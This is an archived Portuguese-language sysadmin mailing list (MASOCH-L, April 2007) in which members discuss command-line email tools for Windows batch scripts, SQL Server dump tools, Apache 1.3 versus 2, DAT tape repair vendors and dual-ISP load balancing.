Subject: [MASOCH-L] Email via script
Message-ID: <d9415c6b0704040624k582919a1s4255c8a4a26a2bf6@mail.gmail.com>

Bom dia a todos,
Alguem conhece algum programa que envie Email (se poss?vel com autentica??o)
usando a linha de comando no windows?
Estamos com essa necessidade, pois aqui no trabalho temos um servidor
windows rodando oracle e j? existe alguns scripts em batch que faz alguns
procedimentos no banco, ent?o queriamos adicionar a esses scripts o envio de
Email quando o script terminasse de ser executado.


From silvio.cesar at unigranrio.edu.br  Wed Apr  4 10:31:44 2007
From: silvio.cesar at unigranrio.edu.br (silvio.cesar at unigranrio.edu.br)
Date: Wed, 04 Apr 2007 10:31:44 -0300
Subject: [MASOCH-L] reparo em unidade de Fita Dat
In-Reply-To: <20070404094922.27lkdedmo0c0cogg@wbeta.infonet.com.br>
References: <20070404094922.27lkdedmo0c0cogg@wbeta.infonet.com.br>
Message-ID: <4613A8C0.1070706@unigranrio.edu.br>


EsaLink 21 2254-2115 / 21 8151-8019 - Edson Buriche

Boas refer?ncias.

Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


david at infonet.com.br escreveu:
> 
>    Ol? pessoal,
> 
>    Gostaria de indica??es de voces de empresas que trabalhem com  
> manuten??o de Unidades de fita DAT, pode ser em qualquer regi?o do  
> Brasil. Sempre trabalhava com a ControleNet, mas o atendimento l?  
> tornou-se prec?rio.
> 
> 
> 
> David Magno Santos de Almeida
> Suporte T?cnico
> InfoNet - Solu??es Internet
> (0xx79) 2106-8000/  (0xx79) 9978-7925
> david at infonet.com.br
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l


From edu at ecosistemas.com.br  Wed Apr  4 10:37:45 2007
From: edu at ecosistemas.com.br (Eduardo Alcantara de Lima)
Date: Wed, 4 Apr 2007 10:37:45 -0300
Subject: [MASOCH-L] RES:  reparo em unidade de Fita Dat
In-Reply-To: <4613A8C0.1070706@unigranrio.edu.br>
Message-ID: <JGELLIJDGMOJOGMEILHOIEMDCDAA.edu@ecosistemas.com.br>



Tambem trabalhamos com a Esalink e gostamos dos servi?os

Eduardo Alcantara

-----Mensagem original-----
De: masoch-l-bounces at eng.registro.br
[mailto:masoch-l-bounces at eng.registro.br]Em nome de
silvio.cesar at unigranrio.edu.br
Enviada em: quarta-feira, 4 de abril de 2007 10:32
Para: Mail Aid and Succor, On-line Comfort and Help
Assunto: Re: [MASOCH-L] reparo em unidade de Fita Dat



EsaLink 21 2254-2115 / 21 8151-8019 - Edson Buriche

Boas refer?ncias.

Att,

Silvio Cesar L. dos Santos
Analista de Redes Pleno
DTI - Divis?o de Tecnologia da Informa??o
UNIGRANRIO - Universidade do Grande Rio
+55 21 2672-7720
silviocesar at unigranrio.edu.br
http://www.unigranrio.edu.br


david at infonet.com.br escreveu:
>
>    Ol? pessoal,
>
>    Gostaria de indica??es de voces de empresas que trabalhem com
> manuten??o de Unidades de fita DAT, pode ser em qualquer regi?o do
> Brasil. Sempre trabalhava com a ControleNet, mas o atendimento l?
> tornou-se prec?rio.
>
>
>
> David Magno Santos de Almeida
> Suporte T?cnico
> InfoNet - Solu??es Internet
> (0xx79) 2106-8000/  (0xx79) 9978-7925
> david at infonet.com.br
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l




From jczucco at ucs.br  Wed Apr  4 10:52:24 2007
From: jczucco at ucs.br (Jeronimo Zucco)
Date: Wed, 04 Apr 2007 10:52:24 -0300
Subject: [MASOCH-L] Email via script
In-Reply-To: <d9415c6b0704040624k582919a1s4255c8a4a26a2bf6@mail.gmail.com>
References: <d9415c6b0704040624k582919a1s4255c8a4a26a2bf6@mail.gmail.com>
Message-ID: <4613AD98.7000600@ucs.br>

Rog?rio Moura escreveu:
> Bom dia a todos,
> Alguem conhece algum programa que envie Email (se poss?vel com autentica??o)
> usando a linha de comando no windows?
> Estamos com essa necessidade, pois aqui no trabalho temos um servidor
> windows rodando oracle e j? existe alguns scripts em batch que faz alguns
> procedimentos no banco, ent?o queriamos adicionar a esses scripts o envio de
> Email quando o script terminasse de ser executado.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   
Use SendEmail:

http://caspian.dotconf.net/menu/Software/SendEmail/

-- 
Jeronimo Zucco
LPIC-1 Linux Professional Institute Certified
N?cleo de Processamento de Dados
Universidade de Caxias do Sul

http://jczucco.blogspot.com



From antoniocarlospina at gmail.com  Wed Apr  4 11:05:13 2007
From: antoniocarlospina at gmail.com (Antonio Carlos Pina)
Date: Wed, 4 Apr 2007 11:05:13 -0300
Subject: [MASOCH-L] Email via script
In-Reply-To: <4613AD98.7000600@ucs.br>
References: <d9415c6b0704040624k582919a1s4255c8a4a26a2bf6@mail.gmail.com>
	<4613AD98.7000600@ucs.br>
Message-ID: <86b352050704040705l6818d650i4a9c52203d8f13d1@mail.gmail.com>

Procure na Internet por "blat"

Abs.


Em 04/04/07, Jeronimo Zucco <jczucco at ucs.br> escreveu:
>
> Rog?rio Moura escreveu:
> > Bom dia a todos,
> > Alguem conhece algum programa que envie Email (se poss?vel com
> autentica??o)
> > usando a linha de comando no windows?
> > Estamos com essa necessidade, pois aqui no trabalho temos um servidor
> > windows rodando oracle e j? existe alguns scripts em batch que faz
> alguns
> > procedimentos no banco, ent?o queriamos adicionar a esses scripts o
> envio de
> > Email quando o script terminasse de ser executado.
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> Use SendEmail:
>
> http://caspian.dotconf.net/menu/Software/SendEmail/
>
> --
> Jeronimo Zucco
> LPIC-1 Linux Professional Institute Certified
> N?cleo de Processamento de Dados
> Universidade de Caxias do Sul
>
> http://jczucco.blogspot.com
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From rogerpop at gmail.com  Wed Apr  4 11:13:17 2007
From: rogerpop at gmail.com (=?ISO-8859-1?Q?Rog=E9rio_Moura?=)
Date: Wed, 4 Apr 2007 11:13:17 -0300
Subject: [MASOCH-L] Email via script
In-Reply-To: <86b352050704040705l6818d650i4a9c52203d8f13d1@mail.gmail.com>
References: <d9415c6b0704040624k582919a1s4255c8a4a26a2bf6@mail.gmail.com>
	<4613AD98.7000600@ucs.br>
	<86b352050704040705l6818d650i4a9c52203d8f13d1@mail.gmail.com>
Message-ID: <d9415c6b0704040713v3897b3b4le485ef3d1054c54f@mail.gmail.com>

Obrigado Jeronimo, sua sugest?o atende minha necessidade.

Em 04/04/07, Antonio Carlos Pina <antoniocarlospina at gmail.com> escreveu:
>
> Procure na Internet por "blat"
>
> Abs.
>
>
> Em 04/04/07, Jeronimo Zucco <jczucco at ucs.br> escreveu:
> >
> > Rog?rio Moura escreveu:
> > > Bom dia a todos,
> > > Alguem conhece algum programa que envie Email (se poss?vel com
> > autentica??o)
> > > usando a linha de comando no windows?
> > > Estamos com essa necessidade, pois aqui no trabalho temos um servidor
> > > windows rodando oracle e j? existe alguns scripts em batch que faz
> > alguns
> > > procedimentos no banco, ent?o queriamos adicionar a esses scripts o
> > envio de
> > > Email quando o script terminasse de ser executado.
> > > __
> > > masoch-l list
> > > https://eng.registro.br/mailman/listinfo/masoch-l
> > >
> > Use SendEmail:
> >
> > http://caspian.dotconf.net/menu/Software/SendEmail/
> >
> > --
> > Jeronimo Zucco
> > LPIC-1 Linux Professional Institute Certified
> > N?cleo de Processamento de Dados
> > Universidade de Caxias do Sul
> >
> > http://jczucco.blogspot.com
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From marcelo at standardnet.com.br  Wed Apr  4 15:50:32 2007
From: marcelo at standardnet.com.br (Marcelo Estanislau)
Date: Wed, 04 Apr 2007 15:50:32 -0300
Subject: [MASOCH-L] Ferramenta para dump SQL Server
Message-ID: <4613F378.2040301@standardnet.com.br>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Boa tarde,

Algu?m conhece alguma ferramenta livre para fazer o dump de um banco de
dados SQL Server?

- --
Marcelo Estanislau Geyer
marcelo at standardnet.com.br
Standard Net Tecnologia e Informa??o
http://www.standardnet.com.br
- --
PGP Key: http://www.keyserver.net - Key ID 0x5812DE5E
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQCVAwUBRhPzeI+bwQJYEt5eAQLj5gQAq1PevlOI0q54F+jQHK2RGWNAJWdFDLxX
mqy8f8GwEikTEJZGbVWp9DWrmn5RhqiG5tAzaMP1Xzzdg6YkIonlJKVK4BKCiPnZ
ZKE4uHhGJ+xVzec679bm253O0NsGf5iEjspZNRwohZVBoNQyhl9wCijZpi12P0eR
uOY2MpVbyZ4=
=kVk7
-----END PGP SIGNATURE-----


From rafaelpossa at gmail.com  Wed Apr  4 17:45:46 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Wed, 4 Apr 2007 17:45:46 -0300
Subject: [MASOCH-L] apache 1 ou 2?
Message-ID: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>

Ol? pessoal,
    
    Dei uma olhada no hist?rico da lista e n?o achei nada parecido, ent?o vai l?:

    Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o 1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2 j? andou um pouco, h? algum problema de seguran?a envolvido com o Apache 1.3 que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho mais complicada na parte de configura??o)? E entre os dois, qual seria o mais recomendado para poucas requisi??es/servidores com pouca pot?ncia?


Grato,
Rafael

From atendimento at pousadavirtual.com.br  Wed Apr  4 18:12:11 2007
From: atendimento at pousadavirtual.com.br (Pousada Virtual - Atendimento)
Date: Wed, 4 Apr 2007 18:12:11 -0300
Subject: [MASOCH-L] RES:  apache 1 ou 2?
In-Reply-To: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
Message-ID: <005001c776fd$ea46a410$0201a8c0@NOC>

Ol? Rafael,

Ainda n?o testei o 2, mas uso o 1.3.37 em um Dual Core 3.0 (2 x 2 MB Cache)
3 GB RAM DDR II 667 e HD SATA II; entre outros 550 pequenos sites, t?
rodando nele o www.xtibia.com que ? um phpnuke (sux hehe) e chega a 1500
conex?es simult?neas em hor?rio de pico, rodando junto forum e phpadsnew
(velho conhecido por exigir muito do servidor). E t? rodando legal.

[]s

Andr?.

-----Mensagem original-----
De: masoch-l-bounces at eng.registro.br
[mailto:masoch-l-bounces at eng.registro.br] Em nome de Rafael Possamai
Enviada em: quarta-feira, 4 de abril de 2007 17:46
Para: masoch-l at eng.registro.br
Assunto: [MASOCH-L] apache 1 ou 2?

Ol? pessoal,
    
    Dei uma olhada no hist?rico da lista e n?o achei nada parecido, ent?o
vai l?:

    Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o
1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2 j?
andou um pouco, h? algum problema de seguran?a envolvido com o Apache 1.3
que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho mais
complicada na parte de configura??o)? E entre os dois, qual seria o mais
recomendado para poucas requisi??es/servidores com pouca pot?ncia?


Grato,
Rafael
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l



From danton at inexo.com.br  Wed Apr  4 18:21:08 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 4 Apr 2007 18:21:08 -0300 (BRT)
Subject: [MASOCH-L] apache 1 ou 2?
In-Reply-To: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
Message-ID: <Pine.LNX.4.60.0704041818290.5891@newquantum.inexo.com.br>

On Wed, 4 Apr 2007, Rafael Possamai wrote:

>    Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o 
> 1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2 
> j? andou um pouco, h? algum problema de seguran?a envolvido com o Apache 
> 1.3 que fa?a com que seja definitivamente melhor usar a vers?o 2 (que 
> acho mais complicada na parte de configura??o)? E entre os dois, qual 
> seria o mais recomendado para poucas requisi??es/servidores com pouca 
> pot?ncia?

a vers?o 2 ? mais madura, mais flex?vel, n?o demanda muito recurso e ? t?o 
f?cil de configurar como a 1, talvez voc? tenha ficado impressionado com 
a quantidade de diretivas, ? que a quantidade de m?dulos tamb?m ? maior. 
Eu fico com 2 para qualquer caso, 'light' ou 'heavy-duty'.


From rafaelpossa at gmail.com  Wed Apr  4 18:41:40 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Wed, 4 Apr 2007 18:41:40 -0300
Subject: [MASOCH-L] RES:  apache 1 ou 2?
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
	<005001c776fd$ea46a410$0201a8c0@NOC>
Message-ID: <012101c77702$098a0a70$0200a8c0@OASIS>

Opa, neste caso eu iria rodar o apache num K6-2 400MHz com 128MB RAM e HD 
6GB IDE com Debian 3.1 em Kernel 2.4. Algo me diz que o 1.3 seria mais 
indicado, mas ? pura suposi??o.
Eu uso ele como router aqui da minha rede (nat e firewall).


Rafael


----- Original Message ----- 
From: "Pousada Virtual - Atendimento" <atendimento at pousadavirtual.com.br>
To: "'Mail Aid and Succor,On-line Comfort and Help'" 
<masoch-l at eng.registro.br>
Sent: Wednesday, April 04, 2007 6:12 PM
Subject: [MASOCH-L] RES: apache 1 ou 2?


Ol? Rafael,

Ainda n?o testei o 2, mas uso o 1.3.37 em um Dual Core 3.0 (2 x 2 MB Cache)
3 GB RAM DDR II 667 e HD SATA II; entre outros 550 pequenos sites, t?
rodando nele o www.xtibia.com que ? um phpnuke (sux hehe) e chega a 1500
conex?es simult?neas em hor?rio de pico, rodando junto forum e phpadsnew
(velho conhecido por exigir muito do servidor). E t? rodando legal.

[]s

Andr?.

-----Mensagem original-----
De: masoch-l-bounces at eng.registro.br
[mailto:masoch-l-bounces at eng.registro.br] Em nome de Rafael Possamai
Enviada em: quarta-feira, 4 de abril de 2007 17:46
Para: masoch-l at eng.registro.br
Assunto: [MASOCH-L] apache 1 ou 2?

Ol? pessoal,

    Dei uma olhada no hist?rico da lista e n?o achei nada parecido, ent?o
vai l?:

    Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o
1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2 j?
andou um pouco, h? algum problema de seguran?a envolvido com o Apache 1.3
que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho mais
complicada na parte de configura??o)? E entre os dois, qual seria o mais
recomendado para poucas requisi??es/servidores com pouca pot?ncia?


Grato,
Rafael
__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l

__
masoch-l list
https://eng.registro.br/mailman/listinfo/masoch-l 



From giulianocm at uol.com.br  Thu Apr  5 10:56:31 2007
From: giulianocm at uol.com.br (GIULIANO (UOL))
Date: Thu, 05 Apr 2007 10:56:31 -0300
Subject: [MASOCH-L] 2 Links
In-Reply-To: <461404AD.7859.ADE9AA@maianeto.inf.ufsc.br>
References: <00fb01c77017$a6a7ec10$0601010a@User>,
	<46095DE2.7060905@kaminski.com>,
	<7.0.1.0.2.20070404133805.03220f00@penta.ufrgs.br>
	<461404AD.7859.ADE9AA@maianeto.inf.ufsc.br>
Message-ID: <4615000F.4060703@uol.com.br>

Pessoal,

Tenho o seguinte ambiente numa empresa com 500 maquinas:

		    Internet

		  Oper1  Oper2
		      \	  /	
		       \ /	
			0  Roteador
			|
			|
			|
			0  Firewall com IP publico
			|
			|
			|
		---------------- LAN


As 2 operadoras fornecem escoamento de trafego para a Internet com 2 
blocos de IPs diferentes.

Porem, se utilizarmos o firewall com apenas 1 bloco de enderecos, os 
clientes que buscam servicos dentro da rede nao conseguirao acessar, em 
caso de falha da operadora do bloco.

Alem disso, sem utilizar NAT, como poderia realizar o balanceamento de 
carga ?

No caso de utilizarmos BGP, teriamos que ter um AS publico e um bloco de 
  enderecos IP.

Para o caso de solicitar um bloco IP no Registro, eles somente fornecem 
blocos /20. E um bloco /20 nao e justificavel nesse projeto.

Como eu poderia proceder, para promover balanceamento de carga entre as 
2 operadoras tanto na para trafego de entrada, quanto para trafego de 
saida ?

Alguem na lista ja passou por uma situacao similar ?

Obrigado,

Giuliano


From gustavo.lists at gmail.com  Thu Apr  5 11:45:25 2007
From: gustavo.lists at gmail.com (=?ISO-8859-1?Q?Gustavo_Ara=FAjo?=)
Date: Thu, 5 Apr 2007 11:45:25 -0300
Subject: [MASOCH-L] RES: apache 1 ou 2?
In-Reply-To: <012101c77702$098a0a70$0200a8c0@OASIS>
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
	<005001c776fd$ea46a410$0201a8c0@NOC>
	<012101c77702$098a0a70$0200a8c0@OASIS>
Message-ID: <c79f20030704050745m284eb999i4d40fb9293e45f62@mail.gmail.com>

pelo que eu sabia, a apache n?o lan?ar? futuras vers?es para a s?rie 1.3 do
apache, somente corre??es de seguran?a.

d? pra manter na 1.3.37, muita gente ainda esta usando a 1.3.37 com receio
de mudar pra s?rie 2.

Eu uso o apache 2.2.3 no meu pc em ksa, e eh muito bom, mas n?o tive como
testar em um ambiente de produ??o ainda.

com rela??o a configura??o, pouca coisa mesmo mudou, o melhor ? o suporte
nativo ao SSL (que antes era feito com o mod_ssl ) e as MPM's . Estou ainda
aprendendo mais sobre apache, mas pelo que j? descobri deste novo apache
vale a pena migrar para ele.

Em 04/04/07, Rafael Possamai <rafaelpossa at gmail.com> escreveu:
>
> Opa, neste caso eu iria rodar o apache num K6-2 400MHz com 128MB RAM e HD
> 6GB IDE com Debian 3.1 em Kernel 2.4. Algo me diz que o 1.3 seria mais
> indicado, mas ? pura suposi??o.
> Eu uso ele como router aqui da minha rede (nat e firewall).
>
>
> Rafael
>
>
> ----- Original Message -----
> From: "Pousada Virtual - Atendimento" <atendimento at pousadavirtual.com.br>
> To: "'Mail Aid and Succor,On-line Comfort and Help'"
> <masoch-l at eng.registro.br>
> Sent: Wednesday, April 04, 2007 6:12 PM
> Subject: [MASOCH-L] RES: apache 1 ou 2?
>
>
> Ol? Rafael,
>
> Ainda n?o testei o 2, mas uso o 1.3.37 em um Dual Core 3.0 (2 x 2 MB
> Cache)
> 3 GB RAM DDR II 667 e HD SATA II; entre outros 550 pequenos sites, t?
> rodando nele o www.xtibia.com que ? um phpnuke (sux hehe) e chega a 1500
> conex?es simult?neas em hor?rio de pico, rodando junto forum e phpadsnew
> (velho conhecido por exigir muito do servidor). E t? rodando legal.
>
> []s
>
> Andr?.
>
> -----Mensagem original-----
> De: masoch-l-bounces at eng.registro.br
> [mailto:masoch-l-bounces at eng.registro.br] Em nome de Rafael Possamai
> Enviada em: quarta-feira, 4 de abril de 2007 17:46
> Para: masoch-l at eng.registro.br
> Assunto: [MASOCH-L] apache 1 ou 2?
>
> Ol? pessoal,
>
>     Dei uma olhada no hist?rico da lista e n?o achei nada parecido, ent?o
> vai l?:
>
>     Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o
> 1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2
> j?
> andou um pouco, h? algum problema de seguran?a envolvido com o Apache 1.3
> que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho
> mais
> complicada na parte de configura??o)? E entre os dois, qual seria o mais
> recomendado para poucas requisi??es/servidores com pouca pot?ncia?
>
>
> Grato,
> Rafael
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From frederick at dahype.org  Thu Apr  5 12:07:47 2007
From: frederick at dahype.org (Renato Frederick)
Date: Thu, 5 Apr 2007 12:07:47 -0300 (BRT)
Subject: [MASOCH-L] Ferramenta para dump SQL Server
In-Reply-To: <4613F378.2040301@standardnet.com.br>
References: <4613F378.2040301@standardnet.com.br>
Message-ID: <46223.B1hZSBZcXVI=.1175785667.squirrel@www.dahype.org>



mysqldump n?o lhe atende?



Em Qua, Abril 4,
2007 3:50 pm, Marcelo Estanislau escreveu: 
> -----BEGIN PGP
SIGNED MESSAGE----- 
> Hash: SHA1 
> 
> Boa tarde,

> 
> Algu?m conhece alguma ferramenta livre para
fazer o dump de um banco de 
> dados SQL Server? 
> 
> - -- 
> Marcelo Estanislau Geyer 
>
marcelo at standardnet.com.br 
> Standard Net Tecnologia e
Informa??o 
> http://www.standardnet.com.br 
> - -- 
> PGP Key: http://www.keyserver.net - Key ID
0x5812DE5E 
> -----BEGIN PGP SIGNATURE----- 
> Version:
GnuPG v1.4.5 (GNU/Linux) 
> Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org 
> 
>
iQCVAwUBRhPzeI+bwQJYEt5eAQLj5gQAq1PevlOI0q54F+jQHK2RGWNAJWdFDLxX 
> mqy8f8GwEikTEJZGbVWp9DWrmn5RhqiG5tAzaMP1Xzzdg6YkIonlJKVK4BKCiPnZ

>
ZKE4uHhGJ+xVzec679bm253O0NsGf5iEjspZNRwohZVBoNQyhl9wCijZpi12P0eR 
> uOY2MpVbyZ4= 
> =kVk7 
> -----END PGP
SIGNATURE----- 
> __ 
> masoch-l list 
>
https://eng.registro.br/mailman/listinfo/masoch-l 
> 
>






From fernando at bluesolutions.com.br  Thu Apr  5 12:08:54 2007
From: fernando at bluesolutions.com.br (Fernando Ulisses dos Santos)
Date: Thu, 5 Apr 2007 12:08:54 -0300 (BRT)
Subject: [MASOCH-L] RES: apache 1 ou 2?
In-Reply-To: <c79f20030704050745m284eb999i4d40fb9293e45f62@mail.gmail.com>
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS>
	<005001c776fd$ea46a410$0201a8c0@NOC>
	<012101c77702$098a0a70$0200a8c0@OASIS>
	<c79f20030704050745m284eb999i4d40fb9293e45f62@mail.gmail.com>
Message-ID: <53261.192.168.0.225.1175785734.squirrel@blue.bluesolutions.com.br>

Rafael, vai na f? !!

Tenho Apache 2.x rodando em provedores a 1 ano e meio +/-, nenhum problema...

Claro, n?o ? nada grande, mas tinha cerca de 1000 dom?nios em 1 dos
provedores...

Novos recursos j? me ajudaram muito, como compress?o de p?ginas, o
ProxyPass e ProxyPassReverse para fazer alguns redirecionamentos para
servidores internos, tudo com suporte na distribui??o ou nativo, isso
ajuda.

Como o software ? livre, instale a vers?o com mais recursos, ? melhor ter
e n?o usar do que precisar e n?o ter.

Quanto ao hardware... est? t?o barato hoje que para seu pr?prio bem voc?
deveria aposentar essa m?quina... ela tem quantos anos? 3? 4? qual a
probabilidade de falha de hardware nessa m?quina? as vezes a gente fica
querendo poupar dinheiro do chefe, e quando d? um pau vc percebe que a
grana que economizou na m?quina gastou em horas de trabalho... um desktop
HP, IBM, Dell sai por R$ 900 e ainda parcelam.

--
Fernando Ulisses dos Santos
Blue Solutions - Solu??es em TI
19-3551-3898 / 11-4062-9218
fernando at bluesolutions.com.br
Certificado Linux LPIC-1

Gustavo Ara?jo escreveu:
> pelo que eu sabia, a apache n?o lan?ar? futuras vers?es para a s?rie 1.3
> do
> apache, somente corre??es de seguran?a.
>
> d? pra manter na 1.3.37, muita gente ainda esta usando a 1.3.37 com receio
> de mudar pra s?rie 2.
>
> Eu uso o apache 2.2.3 no meu pc em ksa, e eh muito bom, mas n?o tive como
> testar em um ambiente de produ??o ainda.
>
> com rela??o a configura??o, pouca coisa mesmo mudou, o melhor ? o suporte
> nativo ao SSL (que antes era feito com o mod_ssl ) e as MPM's . Estou
> ainda
> aprendendo mais sobre apache, mas pelo que j? descobri deste novo apache
> vale a pena migrar para ele.
>
> Em 04/04/07, Rafael Possamai <rafaelpossa at gmail.com> escreveu:
>>
>> Opa, neste caso eu iria rodar o apache num K6-2 400MHz com 128MB RAM e
>> HD
>> 6GB IDE com Debian 3.1 em Kernel 2.4. Algo me diz que o 1.3 seria mais
>> indicado, mas ? pura suposi??o.
>> Eu uso ele como router aqui da minha rede (nat e firewall).
>>
>>
>> Rafael
>>
>>
>> ----- Original Message -----
>> From: "Pousada Virtual - Atendimento"
>> <atendimento at pousadavirtual.com.br>
>> To: "'Mail Aid and Succor,On-line Comfort and Help'"
>> <masoch-l at eng.registro.br>
>> Sent: Wednesday, April 04, 2007 6:12 PM
>> Subject: [MASOCH-L] RES: apache 1 ou 2?
>>
>>
>> Ol? Rafael,
>>
>> Ainda n?o testei o 2, mas uso o 1.3.37 em um Dual Core 3.0 (2 x 2 MB
>> Cache)
>> 3 GB RAM DDR II 667 e HD SATA II; entre outros 550 pequenos sites, t?
>> rodando nele o www.xtibia.com que ? um phpnuke (sux hehe) e chega a 1500
>> conex?es simult?neas em hor?rio de pico, rodando junto forum e phpadsnew
>> (velho conhecido por exigir muito do servidor). E t? rodando legal.
>>
>> []s
>>
>> Andr?.
>>
>> -----Mensagem original-----
>> De: masoch-l-bounces at eng.registro.br
>> [mailto:masoch-l-bounces at eng.registro.br] Em nome de Rafael Possamai
>> Enviada em: quarta-feira, 4 de abril de 2007 17:46
>> Para: masoch-l at eng.registro.br
>> Assunto: [MASOCH-L] apache 1 ou 2?
>>
>> Ol? pessoal,
>>
>>     Dei uma olhada no hist?rico da lista e n?o achei nada parecido,
>> ent?o
>> vai l?:
>>
>>     Mesmo com o upgrade do Apache para a vers?o 2 eu continuei usando o
>> 1.3.x por um bom tempo e nunca tive problemas... Agora que essa vers?o 2
>> j?
>> andou um pouco, h? algum problema de seguran?a envolvido com o Apache
>> 1.3
>> que fa?a com que seja definitivamente melhor usar a vers?o 2 (que acho
>> mais
>> complicada na parte de configura??o)? E entre os dois, qual seria o mais
>> recomendado para poucas requisi??es/servidores com pouca pot?ncia?
>>
>>
>> Grato,
>> Rafael
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>




From marcelo at tpn.com.br  Thu Apr  5 12:15:05 2007
From: marcelo at tpn.com.br (Marcelo Coelho)
Date: Thu, 05 Apr 2007 12:15:05 -0300
Subject: [MASOCH-L] Ferramenta para dump SQL Server
In-Reply-To: <4613F378.2040301@standardnet.com.br>
References: <4613F378.2040301@standardnet.com.br>
Message-ID: <46151279.6030001@tpn.com.br>

Google is your friend.

http://freshmeat.net/projects/mssqldump/
http://www.datanamic.com/support/sqlserverdump.html
http://www.snapfiles.com/get/sqlserverdumper.html

-- 
Marcelo Coelho
marcelo at tpn.com.br


Marcelo Estanislau wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Boa tarde,
>
> Algu?m conhece alguma ferramenta livre para fazer o dump de um banco de
> dados SQL Server?
>
> - --
> Marcelo Estanislau Geyer
> marcelo at standardnet.com.br
> Standard Net Tecnologia e Informa??o
> http://www.standardnet.com.br
> - --
> PGP Key: http://www.keyserver.net - Key ID 0x5812DE5E
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.5 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iQCVAwUBRhPzeI+bwQJYEt5eAQLj5gQAq1PevlOI0q54F+jQHK2RGWNAJWdFDLxX
> mqy8f8GwEikTEJZGbVWp9DWrmn5RhqiG5tAzaMP1Xzzdg6YkIonlJKVK4BKCiPnZ
> ZKE4uHhGJ+xVzec679bm253O0NsGf5iEjspZNRwohZVBoNQyhl9wCijZpi12P0eR
> uOY2MpVbyZ4=
> =kVk7
> -----END PGP SIGNATURE-----
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>
>
>   


From rafaelpossa at gmail.com  Thu Apr  5 12:24:13 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Thu, 5 Apr 2007 12:24:13 -0300
Subject: [MASOCH-L] RES: apache 1 ou 2?
References: <010d01c776fa$3a6f1b10$0200a8c0@OASIS><005001c776fd$ea46a410$0201a8c0@NOC><012101c77702$098a0a70$0200a8c0@OASIS><c79f20030704050745m284eb999i4d40fb9293e45f62@mail.gmail.com>
	<53261.192.168.0.225.1175785734.squirrel@blue.bluesolutions.com.br>
Message-ID: <006d01c77796$794c9410$0200a8c0@OASIS>

Opa,

Acabei instalando o Apache 1.3.37, essa vers?o tem o APACI que ? um tipo de 
instala??o para "novatos" e em 3 minutos voc? tem o apache instalado e 
rodando, a? eu apenas configurei os m?dulos e pronto, mais r?pido e f?cil do 
que eu esperava. Mas assim que der eu vou instalar a vers?o 2 que como o 
pessoal disse parece ser bem melhor.

Como ? o router aqui de casa, eu s? vou utilizar ele pra deixar arquivos 
?teis na internet a? posso ter acesso a eles de qualquer lugar (baixa 
utiliza??o).

Esse K6 deve ter uns 8 anos, mas j? foi trocado fonte(30 reais), HD (de 20gb 
para um velho de 6gb que eu ganhei) e placa m?e (eu ia vender ele e o cara 
que pegou pra vender conseguiu queimar a placa m?e, a? peguei de volta e 
peguei uma sem custo de um amigo meu pra come?ar a rodar linux nele). Ou 
seja, gastei muito pouco at? hj, saiu mais a caro a eletricidade de todo m?s 
eu acho, hehe.

Sobre o hardware, j? fiz os c?lculos, com 600 reais eu pego um desktop novo 
(2ghz +-, 512mb ram e 80gb hd) e como vc disse com 900 d? pra pegar um Dell, 
